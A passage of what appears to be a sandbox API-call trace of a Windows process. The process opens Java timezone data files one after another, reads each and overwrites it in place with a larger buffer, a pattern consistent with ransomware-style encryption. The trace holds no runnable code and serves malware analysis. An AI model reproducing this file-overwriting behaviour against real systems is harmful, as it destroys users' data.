(x86)\\Java\\jre7\\lib\\zi\\Africa\\Porto-Novo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\porto-novo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.338] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.338] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4d [0046.338] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.338] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.338] ReleaseMutex (hMutex=0x128) returned 1 [0046.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Porto-Novo", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0046.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Porto-Novo", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Porto-Novo", lpUsedDefaultChar=0x0) returned 10 [0046.338] ReadFile (in: hFile=0x168, lpBuffer=0x1e8f228, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f228*, lpNumberOfBytesRead=0x354f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0046.339] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.339] WriteFile (in: hFile=0x168, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0046.339] CloseHandle (hObject=0x168) returned 1 [0046.339] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\Buenos_Aires" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\buenos_aires"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.340] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.340] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x225 [0046.340] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.340] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.340] ReleaseMutex (hMutex=0x128) returned 1 [0046.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Buenos_Aires", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Buenos_Aires", cchWideChar=12, lpMultiByteStr=0x1e6326c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Buenos_Aires", lpUsedDefaultChar=0x0) returned 12 [0046.340] ReadFile (in: hFile=0x168, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x354f2bc*=0x225, lpOverlapped=0x0) returned 1 [0046.341] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.341] WriteFile (in: hFile=0x168, lpBuffer=0x27c7b88*, nNumberOfBytesToWrite=0x7ad, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27c7b88*, lpNumberOfBytesWritten=0x354f2d0*=0x7ad, lpOverlapped=0x0) returned 1 [0046.341] CloseHandle (hObject=0x168) returned 1 [0046.341] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\Tucuman" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\tucuman"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.342] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.342] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x235 [0046.342] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.342] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.342] ReleaseMutex (hMutex=0x128) returned 1 [0046.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tucuman", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tucuman", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tucuman", lpUsedDefaultChar=0x0) returned 7 [0046.342] ReadFile (in: hFile=0x168, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x235, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x354f2bc*=0x235, lpOverlapped=0x0) returned 1 [0046.343] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.343] WriteFile (in: hFile=0x168, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7bd, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x354f2d0*=0x7bd, lpOverlapped=0x0) returned 1 [0046.343] CloseHandle (hObject=0x168) returned 1 [0046.343] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Blanc-Sablon" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\blanc-sablon"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.346] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.347] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x5d [0046.347] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.347] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.347] ReleaseMutex (hMutex=0x128) returned 1 [0046.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Blanc-Sablon", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Blanc-Sablon", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Blanc-Sablon", lpUsedDefaultChar=0x0) returned 12 [0046.347] ReadFile (in: hFile=0x168, lpBuffer=0x1df5d38, nNumberOfBytesToRead=0x5d, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df5d38*, lpNumberOfBytesRead=0x354f2bc*=0x5d, lpOverlapped=0x0) returned 1 [0046.348] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.348] WriteFile (in: hFile=0x168, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e5, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x5e5, lpOverlapped=0x0) returned 1 [0046.349] CloseHandle (hObject=0x168) returned 1 [0046.349] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Chicago" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\chicago"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.357] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.357] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x7a8 [0046.357] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.358] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.358] ReleaseMutex (hMutex=0x128) returned 1 [0046.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Chicago", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Chicago", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Chicago", lpUsedDefaultChar=0x0) returned 7 [0046.358] ReadFile (in: hFile=0x168, lpBuffer=0x1da83f8, nNumberOfBytesToRead=0x7a8, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da83f8*, lpNumberOfBytesRead=0x354f2bc*=0x7a8, lpOverlapped=0x0) returned 1 [0046.362] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.362] WriteFile (in: hFile=0x168, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x354f2d0*=0xd30, lpOverlapped=0x0) returned 1 [0046.362] CloseHandle (hObject=0x168) returned 1 [0046.362] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Detroit" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\detroit"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.363] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.363] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4b0 [0046.363] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.363] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.363] ReleaseMutex (hMutex=0x128) returned 1 [0046.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Detroit", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Detroit", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Detroit", lpUsedDefaultChar=0x0) returned 7 [0046.363] ReadFile (in: hFile=0x168, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4b0, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x354f2bc*=0x4b0, lpOverlapped=0x0) returned 1 [0046.367] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.367] WriteFile (in: hFile=0x168, lpBuffer=0x25c8e38*, nNumberOfBytesToWrite=0xa38, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c8e38*, lpNumberOfBytesWritten=0x354f2d0*=0xa38, lpOverlapped=0x0) returned 1 [0046.367] CloseHandle (hObject=0x168) returned 1 [0046.368] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Grenada" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\grenada"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.372] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.372] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x41 [0046.372] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.372] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.372] ReleaseMutex (hMutex=0x128) returned 1 [0046.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Grenada", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Grenada", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Grenada", lpUsedDefaultChar=0x0) returned 7 [0046.372] ReadFile (in: hFile=0x168, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x354f2bc*=0x41, lpOverlapped=0x0) returned 1 [0046.373] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.373] WriteFile (in: hFile=0x168, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0046.373] CloseHandle (hObject=0x168) returned 1 [0046.373] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Marengo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\marengo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0046.702] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.702] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x384 [0046.702] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.702] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.702] ReleaseMutex (hMutex=0x128) returned 1 [0046.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Marengo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Marengo", cchWideChar=7, lpMultiByteStr=0x1e6a7d4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Marengo", lpUsedDefaultChar=0x0) returned 7 [0046.703] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x384, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x354f2bc*=0x384, lpOverlapped=0x0) returned 1 [0046.705] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.705] WriteFile (in: hFile=0x1b0, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x90c, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x354f2d0*=0x90c, lpOverlapped=0x0) returned 1 [0046.705] CloseHandle (hObject=0x1b0) returned 1 [0046.825] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\Louisville" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\kentucky\\louisville"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0046.841] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.841] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x5dc [0046.841] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.841] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.841] ReleaseMutex (hMutex=0x128) returned 1 [0046.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Louisville", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0046.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Louisville", cchWideChar=10, lpMultiByteStr=0x1e631cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Louisville", lpUsedDefaultChar=0x0) returned 10 [0046.844] ReadFile (in: hFile=0x1c4, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x5dc, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x354f2bc*=0x5dc, lpOverlapped=0x0) returned 1 [0046.862] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.862] WriteFile (in: hFile=0x1c4, lpBuffer=0x1defe78*, nNumberOfBytesToWrite=0xb64, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1defe78*, lpNumberOfBytesWritten=0x354f2d0*=0xb64, lpOverlapped=0x0) returned 1 [0046.862] CloseHandle (hObject=0x1c4) returned 1 [0046.862] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Mazatlan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\mazatlan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0046.863] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.863] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x348 [0046.864] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.864] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.864] ReleaseMutex (hMutex=0x128) returned 1 [0046.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mazatlan", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0046.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mazatlan", cchWideChar=8, lpMultiByteStr=0x1e631cc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mazatlan", lpUsedDefaultChar=0x0) returned 8 [0046.869] ReadFile (in: hFile=0x1c4, lpBuffer=0x2750828, nNumberOfBytesToRead=0x348, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x354f2bc*=0x348, lpOverlapped=0x0) returned 1 [0046.910] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.910] WriteFile (in: hFile=0x1c4, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8d0, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x354f2d0*=0x8d0, lpOverlapped=0x0) returned 1 [0046.910] CloseHandle (hObject=0x1c4) returned 1 [0046.910] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Montserrat" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\montserrat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0046.911] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.911] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x41 [0046.911] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.911] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.911] ReleaseMutex (hMutex=0x128) returned 1 [0046.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Montserrat", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0046.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Montserrat", cchWideChar=10, lpMultiByteStr=0x1e630ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Montserrat", lpUsedDefaultChar=0x0) returned 10 [0046.911] ReadFile (in: hFile=0x1c4, lpBuffer=0x1eaa9f8, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaa9f8*, lpNumberOfBytesRead=0x354f2bc*=0x41, lpOverlapped=0x0) returned 1 [0046.912] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.912] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0046.912] CloseHandle (hObject=0x1c4) returned 1 [0046.912] CreateFileW (lpFileName="C:\\Program Files 